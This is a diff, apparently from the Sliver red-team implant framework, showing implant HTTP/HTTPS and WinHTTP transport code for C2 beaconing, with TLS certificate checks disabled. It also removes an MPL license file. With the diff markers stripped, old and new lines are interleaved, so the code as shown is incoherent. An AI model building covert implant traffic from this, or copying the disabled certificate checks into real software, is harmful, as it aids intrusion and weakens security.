origin := fmt.Sprintf("http://%s", address)
driver, err := GetHTTPDriver(origin, false, opts)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[http] failed to initialize driver: %v", err)
// {{end}}
return nil
func httpClient(address string, netTimeout time.Duration, tlsTimeout time.Duration, proxyConfig string) *SliverHTTPClient {
transport := &http.Transport{
Dial: proxy.Direct.Dial,
TLSHandshakeTimeout: tlsTimeout,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
}
client := &SliverHTTPClient{
Origin: origin,
driver: driver,
Origin: fmt.Sprintf("http://%s", address),
Client: &http.Client{
Jar: cookieJar(),
Timeout: netTimeout,
Transport: transport,
},
pollMutex: &sync.Mutex{},
Closed: false,
}
parseProxyConfig(client, transport, proxyConfig)
return client
}
func httpsClient(address string, opts *HTTPOptions) *SliverHTTPClient {
origin := fmt.Sprintf("https://%s", address)
driver, err := GetHTTPDriver(origin, true, opts)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[http] failed to initialize driver: %v", err)
// {{end}}
return nil
func httpsClient(address string, netTimeout time.Duration, tlsTimeout time.Duration, proxyConfig string) *SliverHTTPClient {
transport := &http.Transport{
Dial: (&net.Dialer{
Timeout: netTimeout,
}).Dial,
TLSHandshakeTimeout: tlsTimeout,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
}
client := &SliverHTTPClient{
Origin: origin,
driver: driver,
Origin: fmt.Sprintf("https://%s", address),
Client: &http.Client{
Jar: cookieJar(),
Timeout: netTimeout,
Transport: transport,
},
pollMutex: &sync.Mutex{},
Closed: false,
}
parseProxyConfig(client, transport, proxyConfig)
return client
}
func parseProxyConfig(client *SliverHTTPClient, transport *http.Transport, proxyConfig string) {
switch proxyConfig {
case "never":
break
case "":
fallthrough
case "auto":
p := proxy.NewProvider("").GetHTTPSProxy(client.Origin)
if p != nil {
// {{if .Config.Debug}}
log.Printf("Found proxy %#v\n", p)
// {{end}}
proxyURL := p.URL()
if proxyURL.Scheme == "" {
proxyURL.Scheme = "https"
}
// {{if .Config.Debug}}
log.Printf("Proxy URL = '%s'\n", proxyURL)
// {{end}}
transport.Proxy = http.ProxyURL(proxyURL)
client.ProxyURL = proxyURL.String()
}
default:
// {{if .Config.Debug}}
log.Printf("Force proxy %#v\n", proxyConfig)
// {{end}}
proxyURL, err := url.Parse(proxyConfig)
if err != nil {
break
}
if proxyURL.Scheme == "" {
proxyURL.Scheme = "https"
}
// {{if .Config.Debug}}
log.Printf("Proxy URL = '%s'\n", proxyURL)
// {{end}}
transport.Proxy = http.ProxyURL(proxyURL)
client.ProxyURL = proxyURL.String()
}
}
// Jar - CookieJar implementation that ignores domains/origins
type Jar struct {
lk sync.Mutex
cookies []*http.Cookie
}
func cookieJar() *Jar {
return &Jar{
lk: sync.Mutex{},
cookies: []*http.Cookie{},
}
}
// NewJar - Get a new instance of a cookie jar
func NewJar() *Jar {
jar := new(Jar)
jar.cookies = make([]*http.Cookie, 0)
return jar
}
// SetCookies handles the receipt of the cookies in a reply for the
// given URL (which is ignored).
func (jar *Jar) SetCookies(u *url.URL, cookies []*http.Cookie) {
jar.lk.Lock()
jar.cookies = append(jar.cookies, cookies...)
jar.lk.Unlock()
}
// Cookies returns the cookies to send in a request for the given URL.
// It is up to the implementation to honor the standard cookie use
// restrictions such as in RFC 6265 (which we do not).
func (jar *Jar) Cookies(u *url.URL) []*http.Cookie {
return jar.cookies
}
// {{end}} -HTTPc2Enabled
@@ -1,373 +0,0 @@
Mozilla Public License Version 2.0
==================================
1. Definitions
--------------
1.1. "Contributor"
means each individual or legal entity that creates, contributes to
the creation of, or owns Covered Software.
1.2. "Contributor Version"
means the combination of the Contributions of others (if any) used
by a Contributor and that particular Contributor's Contribution.
1.3. "Contribution"
means Covered Software of a particular Contributor.
1.4. "Covered Software"
means Source Code Form to which the initial Contributor has attached
the notice in Exhibit A, the Executable Form of such Source Code
Form, and Modifications of such Source Code Form, in each case
including portions thereof.
1.5. "Incompatible With Secondary Licenses"
means
(a) that the initial Contributor has attached the notice described
in Exhibit B to the Covered Software; or
(b) that the Covered Software was made available under the terms of
version 1.1 or earlier of the License, but not also under the
terms of a Secondary License.
1.6. "Executable Form"
means any form of the work other than Source Code Form.
1.7. "Larger Work"
means a work that combines Covered Software with other material, in
a separate file or files, that is not Covered Software.
1.8. "License"
means this document.
1.9. "Licensable"
means having the right to grant, to the maximum extent possible,
whether at the time of the initial grant or subsequently, any and
all of the rights conveyed by this License.
1.10. "Modifications"
means any of the following:
(a) any file in Source Code Form that results from an addition to,
deletion from, or modification of the contents of Covered
Software; or
(b) any new file in Source Code Form that contains any Covered
Software.
1.11. "Patent Claims" of a Contributor
means any patent claim(s), including without limitation, method,
process, and apparatus claims, in any patent Licensable by such
Contributor that would be infringed, but for the grant of the
License, by the making, using, selling, offering for sale, having
made, import, or transfer of either its Contributions or its
Contributor Version.
1.12. "Secondary License"
means either the GNU General Public License, Version 2.0, the GNU
Lesser General Public License, Version 2.1, the GNU Affero General
Public License, Version 3.0, or any later versions of those
licenses.
1.13. "Source Code Form"
means the form of the work preferred for making modifications.
1.14. "You" (or "Your")
means an individual or a legal entity exercising rights under this
License. For legal entities, "You" includes any entity that
controls, is controlled by, or is under common control with You. For
purposes of this definition, "control" means (a) the power, direct
or indirect, to cause the direction or management of such entity,
whether by contract or otherwise, or (b) ownership of more than
fifty percent (50%) of the outstanding shares or beneficial
ownership of such entity.
2. License Grants and Conditions
--------------------------------
2.1. Grants
Each Contributor hereby grants You a world-wide, royalty-free,
non-exclusive license:
(a) under intellectual property rights (other than patent or trademark)
Licensable by such Contributor to use, reproduce, make available,
modify, display, perform, distribute, and otherwise exploit its
Contributions, either on an unmodified basis, with Modifications, or
as part of a Larger Work; and
(b) under Patent Claims of such Contributor to make, use, sell, offer
for sale, have made, import, and otherwise transfer either its
Contributions or its Contributor Version.
2.2. Effective Date
The licenses granted in Section 2.1 with respect to any Contribution
become effective for each Contribution on the date the Contributor first
distributes such Contribution.
2.3. Limitations on Grant Scope
The licenses granted in this Section 2 are the only rights granted under
this License. No additional rights or licenses will be implied from the
distribution or licensing of Covered Software under this License.
Notwithstanding Section 2.1(b) above, no patent license is granted by a
Contributor:
(a) for any code that a Contributor has removed from Covered Software;
or
(b) for infringements caused by: (i) Your and any other third party's
modifications of Covered Software, or (ii) the combination of its
Contributions with other software (except as part of its Contributor
Version); or
(c) under Patent Claims infringed by Covered Software in the absence of
its Contributions.
This License does not grant any rights in the trademarks, service marks,
or logos of any Contributor (except as may be necessary to comply with
the notice requirements in Section 3.4).
2.4. Subsequent Licenses
No Contributor makes additional grants as a result of Your choice to
distribute the Covered Software under a subsequent version of this
License (see Section 10.2) or under the terms of a Secondary License (if
permitted under the terms of Section 3.3).
2.5. Representation
Each Contributor represents that the Contributor believes its
Contributions are its original creation(s) or it has sufficient rights
to grant the rights to its Contributions conveyed by this License.
2.6. Fair Use
This License is not intended to limit any rights You have under
applicable copyright doctrines of fair use, fair dealing, or other
equivalents.
2.7. Conditions
Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted
in Section 2.1.
3. Responsibilities
-------------------
3.1. Distribution of Source Form
All distribution of Covered Software in Source Code Form, including any
Modifications that You create or to which You contribute, must be under
the terms of this License. You must inform recipients that the Source
Code Form of the Covered Software is governed by the terms of this
License, and how they can obtain a copy of this License. You may not
attempt to alter or restrict the recipients' rights in the Source Code
Form.
3.2. Distribution of Executable Form
If You distribute Covered Software in Executable Form then:
(a) such Covered Software must also be made available in Source Code
Form, as described in Section 3.1, and You must inform recipients of
the Executable Form how they can obtain a copy of such Source Code
Form by reasonable means in a timely manner, at a charge no more
than the cost of distribution to the recipient; and
(b) You may distribute such Executable Form under the terms of this
License, or sublicense it under different terms, provided that the
license for the Executable Form does not attempt to limit or alter
the recipients' rights in the Source Code Form under this License.
3.3. Distribution of a Larger Work
You may create and distribute a Larger Work under terms of Your choice,
provided that You also comply with the requirements of this License for
the Covered Software. If the Larger Work is a combination of Covered
Software with a work governed by one or more Secondary Licenses, and the
Covered Software is not Incompatible With Secondary Licenses, this
License permits You to additionally distribute such Covered Software
under the terms of such Secondary License(s), so that the recipient of
the Larger Work may, at their option, further distribute the Covered
Software under the terms of either this License or such Secondary
License(s).
3.4. Notices
You may not remove or alter the substance of any license notices
(including copyright notices, patent notices, disclaimers of warranty,
or limitations of liability) contained within the Source Code Form of
the Covered Software, except that You may alter any license notices to
the extent required to remedy known factual inaccuracies.
3.5. Application of Additional Terms
You may choose to offer, and to charge a fee for, warranty, support,
indemnity or liability obligations to one or more recipients of Covered
Software. However, You may do so only on Your own behalf, and not on
behalf of any Contributor. You must make it absolutely clear that any
such warranty, support, indemnity, or liability obligation is offered by
You alone, and You hereby agree to indemnify every Contributor for any
liability incurred by such Contributor as a result of warranty, support,
indemnity or liability terms You offer. You may include additional
disclaimers of warranty and limitations of liability specific to any
jurisdiction.
4. Inability to Comply Due to Statute or Regulation
---------------------------------------------------
If it is impossible for You to comply with any of the terms of this
License with respect to some or all of the Covered Software due to
statute, judicial order, or regulation then You must: (a) comply with
the terms of this License to the maximum extent possible; and (b)
describe the limitations and the code they affect. Such description must
be placed in a text file included with all distributions of the Covered
Software under this License. Except to the extent prohibited by statute
or regulation, such description must be sufficiently detailed for a
recipient of ordinary skill to be able to understand it.
5. Termination
--------------
5.1. The rights granted under this License will terminate automatically
if You fail to comply with any of its terms. However, if You become
compliant, then the rights granted under this License from a particular
Contributor are reinstated (a) provisionally, unless and until such
Contributor explicitly and finally terminates Your grants, and (b) on an
ongoing basis, if such Contributor fails to notify You of the
non-compliance by some reasonable means prior to 60 days after You have
come back into compliance. Moreover, Your grants from a particular
Contributor are reinstated on an ongoing basis if such Contributor
notifies You of the non-compliance by some reasonable means, this is the
first time You have received notice of non-compliance with this License
from such Contributor, and You become compliant prior to 30 days after
Your receipt of the notice.
5.2. If You initiate litigation against any entity by asserting a patent
infringement claim (excluding declaratory judgment actions,
counter-claims, and cross-claims) alleging that a Contributor Version
directly or indirectly infringes any patent, then the rights granted to
You by any and all Contributors for the Covered Software under Section
2.1 of this License shall terminate.
5.3. In the event of termination under Sections 5.1 or 5.2 above, all
end user license agreements (excluding distributors and resellers) which
have been validly granted by You or Your distributors under this License
prior to termination shall survive termination.
************************************************************************
* *
* 6. Disclaimer of Warranty *
* ------------------------- *
* *
* Covered Software is provided under this License on an "as is" *
* basis, without warranty of any kind, either expressed, implied, or *
* statutory, including, without limitation, warranties that the *
* Covered Software is free of defects, merchantable, fit for a *
* particular purpose or non-infringing. The entire risk as to the *
* quality and performance of the Covered Software is with You. *
* Should any Covered Software prove defective in any respect, You *
* (not any Contributor) assume the cost of any necessary servicing, *
* repair, or correction. This disclaimer of warranty constitutes an *
* essential part of this License. No use of any Covered Software is *
* authorized under this License except under this disclaimer. *
* *
************************************************************************
************************************************************************
* *
* 7. Limitation of Liability *
* -------------------------- *
* *
* Under no circumstances and under no legal theory, whether tort *
* (including negligence), contract, or otherwise, shall any *
* Contributor, or anyone who distributes Covered Software as *
* permitted above, be liable to You for any direct, indirect, *
* special, incidental, or consequential damages of any character *
* including, without limitation, damages for lost profits, loss of *
* goodwill, work stoppage, computer failure or malfunction, or any *
* and all other commercial damages or losses, even if such party *
* shall have been informed of the possibility of such damages. This *
* limitation of liability shall not apply to liability for death or *
* personal injury resulting from such party's negligence to the *
* extent applicable law prohibits such limitation. Some *
* jurisdictions do not allow the exclusion or limitation of *
* incidental or consequential damages, so this exclusion and *
* limitation may not apply to You. *
* *
************************************************************************
8. Litigation
-------------
Any litigation relating to this License may be brought only in the
courts of a jurisdiction where the defendant maintains its principal
place of business and such litigation shall be governed by laws of that
jurisdiction, without reference to its conflict-of-law provisions.
Nothing in this Section shall prevent a party's ability to bring
cross-claims or counter-claims.
9. Miscellaneous
----------------
This License represents the complete agreement concerning the subject
matter hereof. If any provision of this License is held to be
unenforceable, such provision shall be reformed only to the extent
necessary to make it enforceable. Any law or regulation which provides
that the language of a contract shall be construed against the drafter
shall not be used to construe this License against a Contributor.
10. Versions of the License
---------------------------
10.1. New Versions
Mozilla Foundation is the license steward. Except as provided in Section
10.3, no one other than the license steward has the right to modify or
publish new versions of this License. Each version will be given a
distinguishing version number.
10.2. Effect of New Versions
You may distribute the Covered Software under the terms of the version
of the License under which You originally received the Covered Software,
or under the terms of any subsequent version published by the license
steward.
10.3. Modified Versions
If you create software not governed by this License, and you want to
create a new license for such software, you may create and use a
modified version of this License if you rename the license and remove
any references to the name of the license steward (except to note that
such modified license differs from this License).
10.4. Distributing Source Code Form that is Incompatible With Secondary
Licenses
If You choose to distribute Source Code Form that is Incompatible With
Secondary Licenses under the terms of this version of the License, the
notice described in Exhibit B of this License must be attached.
Exhibit A - Source Code Form License Notice
-------------------------------------------
This Source Code Form is subject to the terms of the Mozilla Public
License, v. 2.0. If a copy of the MPL was not distributed with this
file, You can obtain one at http://mozilla.org/MPL/2.0/.
If it is not possible or desirable to put the notice in a particular
file, then You may include the notice in a location (such as a LICENSE
file in a relevant directory) where a recipient would be likely to look
for such a notice.
You may add additional accurate notices of copyright ownership.
Exhibit B - "Incompatible With Secondary Licenses" Notice
---------------------------------------------------------
This Source Code Form is "Incompatible With Secondary Licenses", as
defined by the Mozilla Public License, v. 2.0.
@@ -1,222 +0,0 @@
//go:build windows
package winhttp
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"fmt"
"io"
"io/ioutil"
"net/http"
"strconv"
"syscall"
"unsafe"
// {{if .Config.Debug}}
"log"
// {{end}}
)
// NewWinHTTPClient - Init a new WinHTTPClient
func NewWinHTTPClient(hostname string, port uint16) *WinHTTPClient {
return &WinHTTPClient{
hostname: hostname,
port: port,
}
}
// WinHTTPClient - A WinHTTP driver
type WinHTTPClient struct {
port uint16
hostname string
hSession HInternet
referrer string
acceptTypes []string
}
// Do - Execute an HTTP request
func (w *WinHTTPClient) Do(req *http.Request) (*http.Response, error) {
var err error
if w.hSession == 0 {
// {{if .Config.Debug}}
log.Printf("[winhttp] starting new session ...")
// {{end}}
w.hSession, err = Open(
req.Header.Get("User-Agent"),
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
"",
"",
0,
)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[winhttp] open failed: %s", err)
// {{end}}
return nil, err
}
}
hConnect, err := Connect(w.hSession, w.hostname, int(w.port))
if err != nil {
// {{if .Config.Debug}}
log.Printf("[winhttp] connect failed: %s", err)
// {{end}}
return nil, err
}
openReqFlags := uint32(0)
reqPath := fmt.Sprintf("%s?%s", req.URL.Path, req.URL.RawQuery)
// {{if .Config.Debug}}
log.Printf("[winhttp] req -> %s", reqPath)
// {{end}}
hRequest, err := OpenRequest(hConnect, req.Method, reqPath, "", w.referrer, w.acceptTypes, openReqFlags)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[winhttp] open request failed: %s", err)
// {{end}}
return nil, err
}
dwFlags := uint32(SECURITY_FLAG_IGNORE_UNKNOWN_CA)
err = SetOption(hRequest, WINHTTP_OPTION_SECURITY_FLAGS, uintptr(unsafe.Pointer(&dwFlags)), unsafe.Sizeof(dwFlags))
if err != nil {
// {{if .Config.Debug}}
log.Printf("[winhttp] set option failed: %s", err)
// {{end}}
return nil, err
}
sendReqContext := uint32(0)
if req.Body != nil {
var body []byte
body, err = io.ReadAll(req.Body)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[winhttp] io read body failed: %s", err)
// {{end}}
return nil, err
}
err = SendRequest(hRequest, "", &body[0], len(body), len(body), &sendReqContext)
} else {
err = SendRequest(hRequest, "", nil, 0, 0, &sendReqContext)
}
if err != nil {
// {{if .Config.Debug}}
log.Printf("[winhttp] send request failed: %s", err)
// {{end}}
return nil, err
}
err = ReceiveResponse(hRequest)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[winhttp] recv response failed: %s", err)
// {{end}}
return nil, err
}
utf16StatusCode := make([]uint16, 16)
statusCodeSize := uint32(unsafe.Sizeof(uint16(0)) * 16)
err = QueryHeaders(
hRequest,
WINHTTP_QUERY_STATUS_CODE,
"",
&utf16StatusCode[0],
&statusCodeSize,
nil,
)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[winhttp] query headers failed: %s", err)
// {{end}}
return nil, err
}
statusCode, err := strconv.Atoi(syscall.UTF16ToString(utf16StatusCode[:]))
if err != nil {
// {{if .Config.Debug}}
log.Printf("[winhttp] failed to parse utf16 status code: %s", err)
// {{end}}
return nil, err
}
utf16Status := make([]uint16, 16)
statusSize := uint32(unsafe.Sizeof(uint16(0)) * 16)
err = QueryHeaders(
hRequest,
WINHTTP_QUERY_STATUS_TEXT,
"",
&utf16Status[0],
&statusSize,
nil,
)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[winhttp] query headers failed: %s", err)
// {{end}}
return nil, err
}
status := syscall.UTF16ToString(utf16Status[:])
// {{if .Config.Debug}}
log.Printf("[winhttp] status code: %d", statusCode)
// {{end}}
var dataSize uint
dataSize, err = QueryDataAvailable(hRequest)
if err != nil {
return nil, err
}
// {{if .Config.Debug}}
log.Printf("[winhttp] data size: %v", dataSize)
// {{end}}
dataBuf := make([]byte, dataSize)
var bytesRead int
bytesRead, err = ReadData(
hRequest,
dataBuf,
)
if err != nil {
return nil, err
}
// {{if .Config.Debug}}
log.Printf("[winhttp] bytesRead: %v", bytesRead)
log.Printf("[winhttp] data: %v\n", string(dataBuf))
// {{else}}
bytesRead++
bytesRead--
// {{end}}
resp := &http.Response{
Status: status,
StatusCode: statusCode,
Proto: "HTTP/1.1",
ProtoMajor: 1,
ProtoMinor: 1,
Body: ioutil.NopCloser(bytes.NewReader(dataBuf)),
ContentLength: int64(dataSize),
Request: req,
Header: make(http.Header),
}
return resp, nil
}
@@ -1,301 +0,0 @@
//go:build windows
package winhttp
// Implements flags necessary for working with WinHTTP.
import (
"syscall"
)
const (
/* WinHTTP error codes */
WINHTTP_ERROR_BASE = 12000
ERROR_WINHTTP_OUT_OF_HANDLES = syscall.Errno(WINHTTP_ERROR_BASE + 1)
ERROR_WINHTTP_TIMEOUT = syscall.Errno(WINHTTP_ERROR_BASE + 2)
ERROR_WINHTTP_INTERNAL_ERROR = syscall.Errno(WINHTTP_ERROR_BASE + 4)
ERROR_WINHTTP_INVALID_URL = syscall.Errno(WINHTTP_ERROR_BASE + 5)
ERROR_WINHTTP_UNRECOGNIZED_SCHEME = syscall.Errno(WINHTTP_ERROR_BASE + 6)
ERROR_WINHTTP_NAME_NOT_RESOLVED = syscall.Errno(WINHTTP_ERROR_BASE + 7)
ERROR_WINHTTP_INVALID_OPTION = syscall.Errno(WINHTTP_ERROR_BASE + 9)
ERROR_WINHTTP_OPTION_NOT_SETTABLE = syscall.Errno(WINHTTP_ERROR_BASE + 11)
ERROR_WINHTTP_SHUTDOWN = syscall.Errno(WINHTTP_ERROR_BASE + 12)
ERROR_WINHTTP_LOGIN_FAILURE = syscall.Errno(WINHTTP_ERROR_BASE + 15)
ERROR_WINHTTP_OPERATION_CANCELLED = syscall.Errno(WINHTTP_ERROR_BASE + 17)
ERROR_WINHTTP_INCORRECT_HANDLE_TYPE = syscall.Errno(WINHTTP_ERROR_BASE + 18)
ERROR_WINHTTP_INCORRECT_HANDLE_STATE = syscall.Errno(WINHTTP_ERROR_BASE + 19)
ERROR_WINHTTP_CANNOT_CONNECT = syscall.Errno(WINHTTP_ERROR_BASE + 29)
ERROR_WINHTTP_CONNECTION_ERROR = syscall.Errno(WINHTTP_ERROR_BASE + 30)
ERROR_WINHTTP_RESEND_REQUEST = syscall.Errno(WINHTTP_ERROR_BASE + 32)
ERROR_WINHTTP_SECURE_CERT_DATE_INVALID = syscall.Errno(WINHTTP_ERROR_BASE + 37)
ERROR_WINHTTP_SECURE_CERT_CN_INVALID = syscall.Errno(WINHTTP_ERROR_BASE + 38)
ERROR_WINHTTP_CLIENT_AUTH_CERT_NEEDED = syscall.Errno(WINHTTP_ERROR_BASE + 44)
ERROR_WINHTTP_SECURE_INVALID_CA = syscall.Errno(WINHTTP_ERROR_BASE + 45)
ERROR_WINHTTP_SECURE_CERT_REV_FAILED = syscall.Errno(WINHTTP_ERROR_BASE + 57)
ERROR_WINHTTP_CANNOT_CALL_BEFORE_OPEN = syscall.Errno(WINHTTP_ERROR_BASE + 100)
ERROR_WINHTTP_CANNOT_CALL_BEFORE_SEND = syscall.Errno(WINHTTP_ERROR_BASE + 101)
ERROR_WINHTTP_CANNOT_CALL_AFTER_SEND = syscall.Errno(WINHTTP_ERROR_BASE + 102)
ERROR_WINHTTP_CANNOT_CALL_AFTER_OPEN = syscall.Errno(WINHTTP_ERROR_BASE + 103)
ERROR_WINHTTP_HEADER_NOT_FOUND = syscall.Errno(WINHTTP_ERROR_BASE + 150)
ERROR_WINHTTP_INVALID_SERVER_RESPONSE = syscall.Errno(WINHTTP_ERROR_BASE + 152)
ERROR_WINHTTP_INVALID_HEADER = syscall.Errno(WINHTTP_ERROR_BASE + 153)
ERROR_WINHTTP_INVALID_QUERY_REQUEST = syscall.Errno(WINHTTP_ERROR_BASE + 154)
ERROR_WINHTTP_HEADER_ALREADY_EXISTS = syscall.Errno(WINHTTP_ERROR_BASE + 155)
ERROR_WINHTTP_REDIRECT_FAILED = syscall.Errno(WINHTTP_ERROR_BASE + 156)
ERROR_WINHTTP_SECURE_CHANNEL_ERROR = syscall.Errno(WINHTTP_ERROR_BASE + 157)
ERROR_WINHTTP_BAD_AUTO_PROXY_SCRIPT = syscall.Errno(WINHTTP_ERROR_BASE + 166)
ERROR_WINHTTP_UNABLE_TO_DOWNLOAD_SCRIPT = syscall.Errno(WINHTTP_ERROR_BASE + 167)
ERROR_WINHTTP_SECURE_INVALID_CERT = syscall.Errno(WINHTTP_ERROR_BASE + 169)
ERROR_WINHTTP_SECURE_CERT_REVOKED = syscall.Errno(WINHTTP_ERROR_BASE + 170)
ERROR_WINHTTP_NOT_INITIALIZED = syscall.Errno(WINHTTP_ERROR_BASE + 172)
ERROR_WINHTTP_SECURE_FAILURE = syscall.Errno(WINHTTP_ERROR_BASE + 175)
ERROR_WINHTTP_AUTO_PROXY_SERVICE_ERROR = syscall.Errno(WINHTTP_ERROR_BASE + 178)
ERROR_WINHTTP_SECURE_CERT_WRONG_USAGE = syscall.Errno(WINHTTP_ERROR_BASE + 179)
ERROR_WINHTTP_AUTODETECTION_FAILED = syscall.Errno(WINHTTP_ERROR_BASE + 180)
ERROR_WINHTTP_HEADER_COUNT_EXCEEDED = syscall.Errno(WINHTTP_ERROR_BASE + 181)
ERROR_WINHTTP_HEADER_SIZE_OVERFLOW = syscall.Errno(WINHTTP_ERROR_BASE + 182)
ERROR_WINHTTP_CHUNKED_ENCODING_HEADER_SIZE_OVERFLOW = syscall.Errno(WINHTTP_ERROR_BASE + 183)
ERROR_WINHTTP_RESPONSE_DRAIN_OVERFLOW = syscall.Errno(WINHTTP_ERROR_BASE + 184)
ERROR_WINHTTP_CLIENT_CERT_NO_PRIVATE_KEY = syscall.Errno(WINHTTP_ERROR_BASE + 185)
ERROR_WINHTTP_CLIENT_CERT_NO_ACCESS_PRIVATE_KEY = syscall.Errno(WINHTTP_ERROR_BASE + 186)
WINHTTP_ERROR_LAST = (WINHTTP_ERROR_BASE + 186)
)
const (
SECURITY_FLAG_IGNORE_UNKNOWN_CA = 0x00000100
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID = 0x00002000
SECURITY_FLAG_IGNORE_CERT_CN_INVALID = 0x00001000
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE = 0x00000200
SECURITY_FLAG_SECURE = 0x00000001
SECURITY_FLAG_STRENGTH_WEAK = 0x10000000
SECURITY_FLAG_STRENGTH_MEDIUM = 0x40000000
SECURITY_FLAG_STRENGTH_STRONG = 0x20000000
)
const (
INTERNET_DEFAULT_PORT = 0
INTERNET_DEFAULT_HTTP_PORT = 80
INTERNET_DEFAULT_HTTPS_PORT = 443
WINHTTP_FLAG_ASYNC = 0x10000000
WINHTTP_FLAG_SECURE = 0x00800000
WINHTTP_FLAG_ESCAPE_PERCENT = 0x00000004
WINHTTP_FLAG_NULL_CODEPAGE = 0x00000008
WINHTTP_FLAG_BYPASS_PROXY_CACHE = 0x00000100
WINHTTP_FLAG_REFRESH = 0x00000100
WINHTTP_FLAG_ESCAPE_DISABLE = 0x00000040
WINHTTP_FLAG_ESCAPE_DISABLE_QUERY = 0x00000080
WINHTTP_AUTOPROXY_AUTO_DETECT = 0x00000001
WINHTTP_AUTOPROXY_CONFIG_URL = 0x00000002
WINHTTP_AUTOPROXY_HOST_KEEPCASE = 0x00000004
WINHTTP_AUTOPROXY_HOST_LOWERCASE = 0x00000008
WINHTTP_AUTOPROXY_RUN_INPROCESS = 0x00010000
WINHTTP_AUTOPROXY_RUN_OUTPROCESS_ONLY = 0x00020000
WINHTTP_AUTOPROXY_NO_DIRECTACCESS = 0x00040000
WINHTTP_AUTOPROXY_NO_CACHE_CLIENT = 0x00080000
WINHTTP_AUTOPROXY_NO_CACHE_SVC = 0x00100000
WINHTTP_AUTOPROXY_SORT_RESULTS = 0x00400000
WINHTTP_AUTO_DETECT_TYPE_DHCP = 0x00000001
WINHTTP_AUTO_DETECT_TYPE_DNS_A = 0x00000002
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY = 0
WINHTTP_ACCESS_TYPE_NO_PROXY = 1
WINHTTP_ACCESS_TYPE_NAMED_PROXY = 3
WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY = 4
WINHTTP_NO_PROXY_NAME = 0
WINHTTP_NO_PROXY_BYPASS = 0
WINHTTP_NO_ADDITIONAL_HEADERS = 0
WINHTTP_NO_REQUEST_DATA = 0
WINHTTP_QUERY_MIME_VERSION = 0
WINHTTP_QUERY_CONTENT_TYPE = 1
WINHTTP_QUERY_CONTENT_TRANSFER_ENCODING = 2
WINHTTP_QUERY_CONTENT_ID = 3
WINHTTP_QUERY_CONTENT_DESCRIPTION = 4
WINHTTP_QUERY_CONTENT_LENGTH = 5
WINHTTP_QUERY_CONTENT_LANGUAGE = 6
WINHTTP_QUERY_ALLOW = 7
WINHTTP_QUERY_PUBLIC = 8
WINHTTP_QUERY_DATE = 9
WINHTTP_QUERY_EXPIRES = 10
WINHTTP_QUERY_LAST_MODIFIED = 11
WINHTTP_QUERY_MESSAGE_ID = 12
WINHTTP_QUERY_URI = 13
WINHTTP_QUERY_DERIVED_FROM = 14
WINHTTP_QUERY_COST = 15
WINHTTP_QUERY_LINK = 16
WINHTTP_QUERY_PRAGMA = 17
WINHTTP_QUERY_VERSION = 18 // special: part of status line
WINHTTP_QUERY_STATUS_CODE = 19 // special: part of status line
WINHTTP_QUERY_STATUS_TEXT = 20 // special: part of status line
WINHTTP_QUERY_RAW_HEADERS = 21 // special: all headers as ASCIIZ
WINHTTP_QUERY_RAW_HEADERS_CRLF = 22 // special: all headers
WINHTTP_QUERY_CONNECTION = 23
WINHTTP_QUERY_ACCEPT = 24
WINHTTP_QUERY_ACCEPT_CHARSET = 25
WINHTTP_QUERY_ACCEPT_ENCODING = 26
WINHTTP_QUERY_ACCEPT_LANGUAGE = 27
WINHTTP_QUERY_AUTHORIZATION = 28
WINHTTP_QUERY_CONTENT_ENCODING = 29
WINHTTP_QUERY_FORWARDED = 30
WINHTTP_QUERY_FROM = 31
WINHTTP_QUERY_IF_MODIFIED_SINCE = 32
WINHTTP_QUERY_LOCATION = 33
WINHTTP_QUERY_ORIG_URI = 34
WINHTTP_QUERY_REFERER = 35
WINHTTP_QUERY_RETRY_AFTER = 36
WINHTTP_QUERY_SERVER = 37
WINHTTP_QUERY_TITLE = 38
WINHTTP_QUERY_USER_AGENT = 39
WINHTTP_QUERY_WWW_AUTHENTICATE = 40
WINHTTP_QUERY_PROXY_AUTHENTICATE = 41
WINHTTP_QUERY_ACCEPT_RANGES = 42
WINHTTP_QUERY_SET_COOKIE = 43
WINHTTP_QUERY_COOKIE = 44
WINHTTP_QUERY_REQUEST_METHOD = 45 // special: GET/POST etc.
WINHTTP_QUERY_REFRESH = 46
WINHTTP_QUERY_CONTENT_DISPOSITION = 47
//
// HTTP 1.1 defined headers
//
WINHTTP_QUERY_AGE = 48
WINHTTP_QUERY_CACHE_CONTROL = 49
WINHTTP_QUERY_CONTENT_BASE = 50
WINHTTP_QUERY_CONTENT_LOCATION = 51
WINHTTP_QUERY_CONTENT_MD5 = 52
WINHTTP_QUERY_CONTENT_RANGE = 53
WINHTTP_QUERY_ETAG = 54
WINHTTP_QUERY_HOST = 55
WINHTTP_QUERY_IF_MATCH = 56
WINHTTP_QUERY_IF_NONE_MATCH = 57
WINHTTP_QUERY_IF_RANGE = 58
WINHTTP_QUERY_IF_UNMODIFIED_SINCE = 59
WINHTTP_QUERY_MAX_FORWARDS = 60
WINHTTP_QUERY_PROXY_AUTHORIZATION = 61
WINHTTP_QUERY_RANGE = 62
WINHTTP_QUERY_TRANSFER_ENCODING = 63
WINHTTP_QUERY_UPGRADE = 64
WINHTTP_QUERY_VARY = 65
WINHTTP_QUERY_VIA = 66
WINHTTP_QUERY_WARNING = 67
WINHTTP_QUERY_EXPECT = 68
WINHTTP_QUERY_PROXY_CONNECTION = 69
